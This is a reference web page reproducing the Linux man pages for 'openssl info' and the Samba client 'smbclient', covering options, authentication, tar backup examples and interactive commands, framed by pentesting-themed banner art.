░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1339 - Linux cli command openssl-infossl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-infossl and provides detailed information about the command openssl-infossl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-infossl.

NAME 🖥️ openssl-infossl 🖥️

info - print OpenSSL built-in information

SYNOPSIS

openssl info [-help] [-configdir] [-enginesdir] [-modulesdir ] [-dsoext] [-dirnamesep] [-listsep] [-seeds] [-cpusettings]

DESCRIPTION

This command is used to print out information about OpenSSL. The information is written exactly as it is with no extra text, which makes useful for scripts.

As a consequence, only one item may be chosen for each run of this command.

OPTIONS

-help
Print out a usage message.

-configdir
Outputs the default directory for OpenSSL configuration files.

-enginesdir
Outputs the default directory for OpenSSL engine modules.

-modulesdir
Outputs the default directory for OpenSSL dynamically loadable modules other than engine modules.

-dsoext
Outputs the DSO extension OpenSSL uses.

-dirnamesep
Outputs the separator character between a directory specification and a filename. Note that on some operating systems, this is not the same as the separator between directory elements.

-listsep
Outputs the OpenSSL list separator character. This is typically used to construct $PATH (%PATH% on Windows) style lists.

-seeds
Outputs the randomness seed sources.

-cpusettings
Outputs the OpenSSL CPU settings info.

HISTORY

This command was added in OpenSSL 3.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1340 - Linux cli command smbclient

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbclient and provides detailed information about the command smbclient, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbclient.

NAME 🖥️ smbclient 🖥️

ftp-like client to access SMB/CIFS resources on servers

SYNOPSIS

smbclient [-M|–message=HOST] [-I|–ip-address=IP] [-E|–stderr] [-L|–list=HOST] [-T|–tar=<c|x>IXFvgbNan] [-D|–directory=DIR] [-b|–send-buffer=BYTES] [-t|–timeout=SECONDS] [-p|–port=PORT] [-g|–grepable] [-q|–quiet] [-B|–browse] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [-s|–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] [-U|–user=[DOMAIN/]USERNAME%[PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version] [-c|–command=STRING]

DESCRIPTION

This tool is part of the samba(7) suite.

smbclient is a client that can talk to an SMB/CIFS server. It offers an interface similar to that of the ftp program (see ftp(1)). Operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.

OPTIONS

servicename

servicename is the name of the service you want to use on the server. A service name takes the form //server/service where server is the NetBIOS name of the SMB/CIFS server offering the desired service and service is the name of the service offered. Thus to connect to the service “printer” on the SMB/CIFS server “smbserver”, you would use the servicename //smbserver/printer

Note that the server name required is NOT necessarily the IP (DNS) host name of the server ! The name required is a NetBIOS server name, which may or may not be the same as the IP hostname of the machine running the server.

The server name is looked up according to either the -R|–name-resolve parameter to smbclient or using the name resolve order parameter in the smb.conf(5) file, allowing an administrator to change the order and methods by which server names are looked up.

password

The password required to access the specified service on the specified server. If this parameter is supplied, the -N option (suppress password prompt) is assumed.

There is no default password. If no password is supplied on the command line (either by using this parameter or adding a password to the -U option (see below)) and the -N option is not specified, the client will prompt for a password, even if the desired service does not require one. (If no password is required, simply press ENTER to provide a null password.)

Note: Some servers (including OS/2 and Windows for Workgroups) insist on an uppercase password. Lowercase or mixed case passwords may be rejected by these servers.

Be cautious about including passwords in scripts.

-M|–message NetBIOS name

This options allows you to send messages, using the “WinPopup” protocol, to another computer. Once a connection is established you then type your message, pressing ^D (control-D) to end.

If the receiving computer is running WinPopup the user will receive the message and probably a beep. If they are not running WinPopup the message will be lost, and no error message will occur.

The message is also automatically truncated if the message is over 1600 bytes, as this is the limit of the protocol.

One useful trick is to pipe the message through smbclient. For example: smbclient -M FRED < mymessage.txt will send the message in the file mymessage.txt to the machine FRED.

You may also find the -U and -I options useful, as they allow you to control the FROM and TO parts of the message.

See the message command parameter in the smb.conf(5) for a description of how to handle incoming WinPopup messages in Samba.

Note: Copy WinPopup into the startup group on your WfWg PCs if you want them to always be able to receive messages.

-p|–port port

This number is the TCP port number that will be used when making connections to the server. The standard (well-known) TCP port number for an SMB/CIFS server is 139, which is the default.

-g|–grepable

This parameter provides combined with -L easy parseable output that allows processing with utilities such as grep and cut.

-m|–max-protocol protocol

This allows the user to select the highest SMB protocol level that smbclient will use to connect to the server. By default this is set to highest available SMB3 protocol version. To connect using SMB2 or SMB1 protocol, use the strings SMB2 or NT1 respectively. Note that to connect to a Windows 2012 server with encrypted transport selecting a max-protocol of SMB3 is required.

-P|–machine-pass

Make queries to the external server using the machine account of the local server.

-I|–ip-address IP-address

IP address is the address of the server to connect to. It should be specified in standard “a.b.c.d” notation.

Normally the client would attempt to locate a named SMB/CIFS server by looking it up via the NetBIOS name resolution mechanism described above in the name resolve order parameter above. Using this parameter will force the client to assume that the server is on the machine with the specified IP address and the NetBIOS name component of the resource being connected to will be ignored.

There is no default for this parameter. If not supplied, it will be determined automatically by the client as described above.

-E|–stderr

This parameter causes the client to write messages to the standard error stream (stderr) rather than to the standard output stream.

By default, the client writes messages to standard output - typically the users tty.

-L|–list

This option allows you to look at what services are available on a server. You use it as smbclient -L host and a list should appear. The -I option may be useful if your NetBIOS names dont match your TCP/IP DNS host names or if you are trying to reach a host on another network.

-b|–send-buffer buffersize

When sending or receiving files, smbclient uses an internal buffer sized by the maximum number of allowed requests to the connected server. This command allows this size to be set to any range between 0 (which means use the default server controlled size) bytes and 16776960 (0xFFFF00) bytes. Using the server controlled size is the most efficient as smbclient will pipeline as many simultaneous reads or writes needed to keep the server as busy as possible. Setting this to any other size will slow down the transfer. This can also be set using the iosize command inside smbclient.

-B|–browse

Browse SMB servers using DNS.

-t|–timeout <timeout-seconds>

This allows the user to tune the default timeout used for each SMB request. The default setting is 20 seconds. Increase it if requests to the server sometimes time out. This can happen when SMB3 encryption is selected and smbclient is overwhelming the server with requests. This can also be set using the timeout command inside smbclient.

-T|–tar tar options

smbclient may be used to create tar(1) compatible backups of all the files on an SMB/CIFS share. The secondary tar flags that can be given to this option are:

·

c - Create a tar backup archive on the local system. Must be followed by the name of a tar file, tape device or “-” for standard output. If using standard output you must turn the log level to its lowest value -d0 to avoid corrupting your tar file. This flag is mutually exclusive with the x flag.

·

n - In combination with the c flag, do not actually create the archive, instead perform a dry run that attempts everything that involved in creation other than writing the file.

·

x - Extract (restore) a local tar file back to a share. Unless the -D option is given, the tar files will be restored from the top level of the share. Must be followed by the name of the tar file, device or “-” for standard input. Mutually exclusive with the c flag. Restored files have their creation times (mtime) set to the date saved in the tar file. Directories currently do not get their creation dates restored properly.

·

I - Include files and directories. Is the default behavior when filenames are specified above. Causes files to be included in an extract or create (and therefore everything else to be excluded). See example below. Filename globbing works in one of two ways. See r below.

·

X - Exclude files and directories. Causes files to be excluded from an extract or create. See example below. Filename globbing works in one of two ways. See r below.

·

F - File containing a list of files and directories. The F causes the name following the tarfile to create to be read as a filename that contains a list of files and directories to be included in an extract or create (and therefore everything else to be excluded). See example below. Filename globbing works in one of two ways. See r below.

·

b - Blocksize. Must be followed by a valid (greater than zero) blocksize. Causes tar file to be written out in blocksize*TBLOCK (512 byte) blocks.

·

g - Incremental. Only back up files that have the archive bit set. Useful only with the c flag.

·

v - Verbose. Makes tar print out the files being processed. By default tar is not verbose. This is the same as tarmode verbose.

·

r - Use wildcard matching to include or exclude. Deprecated.

·

N - Newer than. Must be followed by the name of a file whose date is compared against files found on the share during a create. Only files newer than the file specified are backed up to the tar file. Useful only with the c flag.

·

a - Set archive bit. Causes the archive bit to be reset when a file is backed up. Useful with the g and c flags.

Tar Long File Names

smbclients tar option now supports long file names both on backup and restore. However, the full path name of the file must be less than 1024 bytes. Also, when a tar archive is created, smbclients tar option places all files in the archive with relative names, not absolute names.

Tar Filenames

All file names can be given as DOS path names (with \ as the component separator) or as UNIX path names (with / as the component separator).

Examples

Restore from tar file backup.tar into myshare on mypc (no password on share).

smbclient //mypc/myshare "" -N -Tx backup.tar

Restore everything except users/docs

smbclient //mypc/myshare "" -N -TXx backup.tar users/docs

Create a tar file of the files beneath users/docs.

smbclient //mypc/myshare "" -N -Tc backup.tar users/docs

Create the same tar file as above, but now use a DOS path name.

smbclient //mypc/myshare "" -N -Tc backup.tar usersdocs

Create a tar file of the files listed in the file tarlist.

smbclient //mypc/myshare "" -N -TcF backup.tar tarlist

Create a tar file of all the files and directories in the share.

smbclient //mypc/myshare "" -N -Tc backup.tar *

-D|–directory initial directory

Change to initial directory before starting. Probably only of any use with the tar -T option.

-c|–command command string

command string is a semicolon-separated list of commands to be executed instead of prompting from stdin. -N is implied by -c.

This is particularly useful in scripts and for printing stdin to the server, e.g. -c print -.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-R|–name-resolve=NAME-RESOLVE-ORDER

This option is used to determine what naming services and in what order to resolve host names to IP addresses. The option takes a space-separated string of different name resolution options. The best is to wrap the whole –name-resolve=NAME-RESOLVE-ORDER into quotes.

The options are: “lmhosts”, “host”, “wins” and “bcast”. They cause names to be resolved as follows:

·

lmhosts: Lookup an IP address in the Samba lmhosts file. If the line in lmhosts has no name type attached to the NetBIOS name (see the lmhosts(5) for details) then any name type matches for lookup.

·

host: Do a standard host name to IP address resolution, using the system /etc/hosts, NIS, or DNS lookups. This method of name resolution is operating system dependent, for instance on IRIX or Solaris this may be controlled by the /etc/nsswitch.conf file). Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.

·

wins: Query a name with the IP address listed in the wins server parameter. If no WINS server has been specified this method will be ignored.

·

bcast: Do a broadcast on each of the known local interfaces listed in the interfaces parameter. This is the least reliable of the name resolution methods as it depends on the target host being on a locally connected subnet.

If this parameter is not set then the name resolve order defined in the /etc/samba/smb.conf file parameter (name resolve order) will be used.

The default order is lmhosts, host, wins, bcast. Without this parameter or any entry in the name resolve order parameter of the /etc/samba/smb.conf file, the name resolution methods will be attempted in this order.

-O|–socket-options=SOCKETOPTIONS

TCP socket options to set on the client socket. See the socket options parameter in the /etc/samba/smb.conf manual page for the list of valid options.

-m|–max-protocol=MAXPROTOCOL

The value of the parameter (a string) is the highest protocol level that will be supported by the client.

Note that specifying this parameter here will override the client max protocol parameter in the /etc/samba/smb.conf file.

-n|–netbiosname=NETBIOSNAME

This option allows you to override the NetBIOS name that Samba uses for itself. This is identical to setting the netbios name parameter in the /etc/samba/smb.conf file. However, a command line setting will take precedence over settings in /etc/samba/smb.conf.

–netbios-scope=SCOPE

This specifies a NetBIOS scope that nmblookup will use to communicate with when generating NetBIOS names. For details on the use of NetBIOS scopes, see rfc1001.txt and rfc1002.txt. NetBIOS scopes are very rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with.

-W|–workgroup=WORKGROUP

Set the SMB domain of the username. This overrides the default domain which is the domain defined in smb.conf. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM).

Note that specifying this parameter here will override the workgroup parameter in the /etc/samba/smb.conf file.

-r|–realm=REALM

Set the realm for the domain.

Note that specifying this parameter here will override the realm parameter in the /etc/samba/smb.conf file.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

OPERATIONS

Once the client is running, the user is presented with a prompt :

smb:\

The backslash ("") indicates the current working directory on the server, and will change if the current working directory is changed.

The prompt indicates that the client is ready and waiting to carry out a user command. Each command is a single word, optionally followed by parameters specific to that command. Command and parameters are space-delimited unless these notes specifically state otherwise. All commands are case-insensitive. Parameters to commands may or may not be case sensitive, depending on the command.

You can specify file names which have spaces in them by quoting the name with double quotes, for example “a long file name”.

Parameters shown in square brackets (e.g., “[parameter]”) are optional. If not given, the command will use suitable defaults. Parameters shown in angle brackets (e.g., “<parameter>”) are required.

Note that all commands operating on the server are actually performed by issuing a request to the server. Thus the behavior may vary from server to server, depending on how the server was implemented.

The commands available are given here in alphabetical order.

? [command]

If command is specified, the ? command will display a brief informative message about the specified command. If no command is specified, a list of available commands will be displayed.

! [shell command]

If shell command is specified, the ! command will execute a shell locally and run the specified shell command. If no command is specified, a local shell will be run.

allinfo file

The client will request that the server return all known information about a file or directory (including streams).

altname file

The client will request that the server return the “alternate” name (the 8.3 name) for a file or directory.

archive <number>

Sets the archive level when operating on files. 0 means ignore the archive bit, 1 means only operate on files with this bit set, 2 means only operate on files with this bit set and reset it after operation, 3 means operate on all files and reset it after operation. The default is 0.

backup

Toggle the state of the “backup intent” flag sent to the server on directory listings and file opens. If the “backup intent” flag is true, the server will try and bypass some file system checks if the user has been granted SE_BACKUP or SE_RESTORE privileges. This state is useful when performing a backup or restore operation.

blocksize <number>

Sets the blocksize parameter for a tar operation. The default is 20. Causes tar file to be written out in blocksize*TBLOCK (normally 512 byte) units.

cancel jobid0 [jobid1] … [jobidN]

The client will request that the server cancel the printjobs identified by the given numeric print job ids.

case_sensitive

Toggles the setting of the flag in SMB packets that tells the server to treat filenames as case sensitive. Set to OFF by default (tells file server to treat filenames as case insensitive). Only currently affects Samba 3.0.5 and above file servers with the case sensitive parameter set to auto in the smb.conf.

cd <directory name>

If “directory name” is specified, the current working directory on the server will be changed to the directory specified. This operation will fail if for any reason the specified directory is inaccessible.

If no directory name is specified, the current working directory on the server will be reported.

chmod file mode in octal

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. The client requests that the server change the UNIX permissions to the given octal mode, in standard UNIX format.

chown file uid gid

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. The client requests that the server change the UNIX user and group ownership to the given decimal values. Note there is currently no way to remotely look up the UNIX uid and gid values for a given name. This may be addressed in future versions of the CIFS UNIX extensions.

close <fileid>

Closes a file explicitly opened by the open command. Used for internal Samba testing purposes.

del <mask>

The client will request that the server attempt to delete all files matching mask from the current working directory on the server.

deltree <mask>

The client will request that the server attempt to delete all files and directories matching mask from the current working directory on the server. Note this will recursively delete files and directories within the directories selected even without the recurse command being set. If any of the delete requests fail the command will stop processing at that point, leaving files and directories not yet processed untouched. This is by design.

dir <mask>

A list of the files matching mask in the current working directory on the server will be retrieved from the server and displayed.

du <filename>

Does a directory listing and then prints out the current disk usage and free space on a share.

echo <number> <data>

Does an SMBecho request to ping the server. Used for internal Samba testing purposes.

exit

Terminate the connection with the server and exit from the program.

get <remote file name> [local file name]

Copy the file called remote file name from the server to the machine running the client. If specified, name the local copy local file name. Note that all transfers in smbclient are binary. See also the lowercase command.

getfacl <filename>

Requires the server support the UNIX extensions. Requests and prints the POSIX ACL on a file.

hardlink <src> <dest>

Creates a hardlink on the server using Windows CIFS semantics.

help [command]

See the ? command above.

history

Displays the command history.

iosize <bytes>

When sending or receiving files, smbclient uses an internal buffer sized by the maximum number of allowed requests to the connected server. This command allows this size to be set to any range between 0 (which means use the default server controlled size) bytes and 16776960 (0xFFFF00) bytes. Using the server controlled size is the most efficient as smbclient will pipeline as many simultaneous reads or writes needed to keep the server as busy as possible. Setting this to any other size will slow down the transfer.

lcd [directory name]

If directory name is specified, the current working directory on the local machine will be changed to the directory specified. This operation will fail if for any reason the specified directory is inaccessible.

If no directory name is specified, the name of the current working directory on the local machine will be reported.

link target linkname

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. The client requests that the server create a hard link between the linkname and target files. The linkname file must not exist.

listconnect

Show the current connections held for DFS purposes.

lock <filenum> <r|w> <hex-start> <hex-len>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Tries to set a POSIX fcntl lock of the given type on the given range. Used for internal Samba testing purposes.

logon <username> <password>

Establishes a new vuid for this session by logging on again. Replaces the current vuid. Prints out the new vuid. Used for internal Samba testing purposes.

logoff

Logs the user off the server, closing the session. Used for internal Samba testing purposes.

lowercase

Toggle lowercasing of filenames for the get and mget commands.

When lowercasing is toggled ON, local filenames are converted to lowercase when using the get and mget commands. This is often useful when copying (say) MSDOS files from a server, because lowercase filenames are the norm on UNIX systems.

ls <mask>

See the dir command above.

mask <mask>

This command allows the user to set up a mask which will be used during recursive operation of the mget and mput commands.

The masks specified to the mget and mput commands act as filters for directories rather than files when recursion is toggled ON.

The mask specified with the mask command is necessary to filter files within those directories. For example, if the mask specified in an mget command is “source*” and the mask specified with the mask command is “*.c” and recursion is toggled ON, the mget command will retrieve all files matching “*.c” in all directories below and including all directories matching “source*” in the current working directory.

Note that the value for mask defaults to blank (equivalent to “*”) and remains so until the mask command is used to change it. It retains the most recently specified value indefinitely. To avoid unexpected results it would be wise to change the value of mask back to “*” after using the mget or mput commands.

md <directory name>

See the mkdir command.

mget <mask>

Copy all files matching mask from the server to the machine running the client.

Note that mask is interpreted differently during recursive operation and non-recursive operation - refer to the recurse and mask commands for more information. Note that all transfers in smbclient are binary. See also the lowercase command.

mkdir <directory name>

Create a new directory on the server (user access privileges permitting) with the specified name.

more <file name>

Fetch a remote file and view it with the contents of your PAGER environment variable.

mput <mask>

Copy all files matching mask in the current working directory on the local machine to the current working directory on the server.

Note that mask is interpreted differently during recursive operation and non-recursive operation - refer to the recurse and mask commands for more information. Note that all transfers in smbclient are binary.

notify <dir name>

Query a directory for change notifications. This command issues a recursive filechangenotify call for all possible changes. As changes come in will print one line per change. See https://msdn.microsoft.com/en-us/library/dn392331.aspx for a description of the action numbers that this command prints.

This command never ends, it waits for event indefinitely.

posix

Query the remote server to see if it supports the CIFS UNIX extensions and prints out the list of capabilities supported. If so, turn on POSIX pathname processing and large file read/writes (if available),.

posix_encrypt <domain> <username> <password>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Attempt to negotiate SMB encryption on this connection. If smbclient connected with kerberos credentials (-k) the arguments to this command are ignored and the kerberos credentials are used to negotiate GSSAPI signing and sealing instead. See also the -e option to smbclient to force encryption on initial connection. This command is new with Samba 3.2.

posix_open <filename> <octal mode>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Opens a remote file using the CIFS UNIX extensions and prints a fileid. Used for internal Samba testing purposes.

posix_mkdir <directoryname> <octal mode>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Creates a remote directory using the CIFS UNIX extensions with the given mode.

posix_rmdir <directoryname>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Deletes a remote directory using the CIFS UNIX extensions.

posix_unlink <filename>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Deletes a remote file using the CIFS UNIX extensions.

posix_whoami

Query the remote server for the user token using the CIFS UNIX extensions WHOAMI call. Prints out the guest status, user, group, group list and sid list that the remote server is using on behalf of the logged on user.

print <file name>

Print the specified file from the local machine through a printable service on the server.

prompt

Toggle prompting for filenames during operation of the mget and mput commands.

When toggled ON, the user will be prompted to confirm the transfer of each file during these commands. When toggled OFF, all specified files will be transferred without prompting.

put <local file name> [remote file name]

Copy the file called local file name from the machine running the client to the server. If specified, name the remote copy remote file name. Note that all transfers in smbclient are binary. See also the lowercase command.

queue

Displays the print queue, showing the job id, name, size and current status.

quit

See the exit command.

readlink symlinkname

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Print the value of the symlink “symlinkname”.

rd <directory name>

See the rmdir command.

recurse

Toggle directory recursion for the commands mget and mput.

When toggled ON, these commands will process all directories in the source directory (i.e., the directory they are copying from ) and will recurse into any that match the mask specified to the command. Only files that match the mask specified using the mask command will be retrieved. See also the mask command.

When recursion is toggled OFF, only files from the current working directory on the source machine that match the mask specified to the mget or mput commands will be copied, and any mask specified using the mask command will be ignored.

rename <old filename> <new filename> [-f]

Rename files in the current working directory on the server from old filename to new filename. The optional -f switch allows for superseding the destination file, if it exists. This is supported by NT1 protocol dialect and SMB2 protocol family.

rm <mask>

Remove all files matching mask from the current working directory on the server.

rmdir <directory name>

Remove the specified directory (user access privileges permitting) from the server.

scopy <source filename> <destination filename>

Attempt to copy a file on the server using the most efficient server-side copy calls. Falls back to using read then write if server doesnt support server-side copy.

setmode <filename> <perm=[+|\]rsha>

A version of the DOS attrib command to set file permissions. For example:

setmode myfile +r

would make myfile read only.

showconnect

Show the currently active connection held for DFS purposes.

stat file

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. The client requests the UNIX basic info level and prints out the same info that the Linux stat command would about the file. This includes the size, blocks used on disk, file type, permissions, inode number, number of links and finally the three timestamps (access, modify and change). If the file is a special file (symlink, character or block device, fifo or socket) then extra information may also be printed.

symlink target linkname

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. The client requests that the server create a symbolic hard link between the target and linkname files. The linkname file must not exist. Note that the server will not create a link to any path that lies outside the currently connected share. This is enforced by the Samba server.

tar <c|x>[IXbgNa]

Performs a tar operation - see the -T command line option above. Behavior may be affected by the tarmode command (see below). Using g (incremental) and N (newer) will affect tarmode settings. Note that using the “-” option with tar x may not work - use the command line option instead.

blocksize <blocksize>

Blocksize. Must be followed by a valid (greater than zero) blocksize. Causes tar file to be written out in blocksize*TBLOCK (512 byte) blocks.

tarmode <full|inc|reset|noreset|system|nosystem|hidden|nohidden|verbose|noverbose>

Changes tars behavior with regard to DOS attributes. There are 4 modes which can be turned on or off.

Incremental mode (default off). When off (using full) tar will back up everything regardless of the archive bit setting. When on (using inc), tar will only back up files with the archive bit set.

Reset mode (default off). When on (using reset), tar will remove the archive bit on all files it backs up (implies read/write share). Use noreset to turn off.

System mode (default on). When off, tar will not backup system files. Use nosystem to turn off.

Hidden mode (default on). When off, tar will not backup hidden files. Use nohidden to turn off.

timeout <per-operation timeout in seconds>

This allows the user to tune the default timeout used for each SMB request. The default setting is 20 seconds. Increase it if requests to the server sometimes time out. This can happen when SMB3 encryption is selected and smbclient is overwhelming the server with requests.

unlock <filenum> <hex-start> <hex-len>

This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not. Tries to unlock a POSIX fcntl lock on the given range. Used for internal Samba testing purposes.

volume

Prints the current volume name of the share.

vuid <number>

Changes the currently used vuid in the protocol to the given arbitrary number. Without an argument prints out the current vuid being used. Used for internal Samba testing purposes.

tcon <sharename>

Establishes a new tree connect (connection to a share). Replaces the current tree connect. Prints the new tid (tree id). Used for internal Samba testing purposes.

tdis

Close the current share connection (tree disconnect). Used for internal Samba testing purposes.

tid <number>

Changes the current tree id (tid) in the protocol to a new arbitrary number. Without an argument, it prints out the tid currently used. Used for internal Samba testing purposes.

utimes <filename> <create time> <access time> <write time> < change time>

Changes the timestamps on a file by name. Times should be specified in the format [YY]YY:MM:DD-HH:MM:SS or -1 for no change.

NOTES

Some servers are fussy about the case of supplied usernames, passwords, share names (AKA service names) and machine names. If you fail to connect try giving all parameters in uppercase.

It is often necessary to use the -n option when connecting to some types of servers. For example OS/2 LanManager insists on a valid NetBIOS name being used, so you need to supply a valid name that would be known to the server.

smbclient supports long file names where the server supports the LANMAN2 protocol or above.

ENVIRONMENT VARIABLES

See the –user and –password options for details on ways to specify a username and password via an environment variable.

INSTALLATION

The location of the client program is a matter for individual system administrators. The following are thus suggestions only.

It is recommended that the smbclient software be installed in the /usr/local/samba/bin/ or /usr/samba/bin/ directory, this directory readable by all, writeable only by root. The client program itself should be executable by all. The client should NOT be setuid or setgid!

The client log files should be put in a directory readable and writeable only by the user.

To test the client, you will need to know the name of a running SMB/CIFS server. It is possible to run smbd(8) as an ordinary user - running that server as a daemon on a user-accessible port (typically any port number over 1024) would provide a suitable test server.

DIAGNOSTICS

Most diagnostics issued by the client are logged in a specified log file. The log file name is specified at compile time, but may be overridden on the command line.

The number and nature of diagnostics available depends on the debug level used by the client. If you have problems, set the debug level to 3 and peruse the log files.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
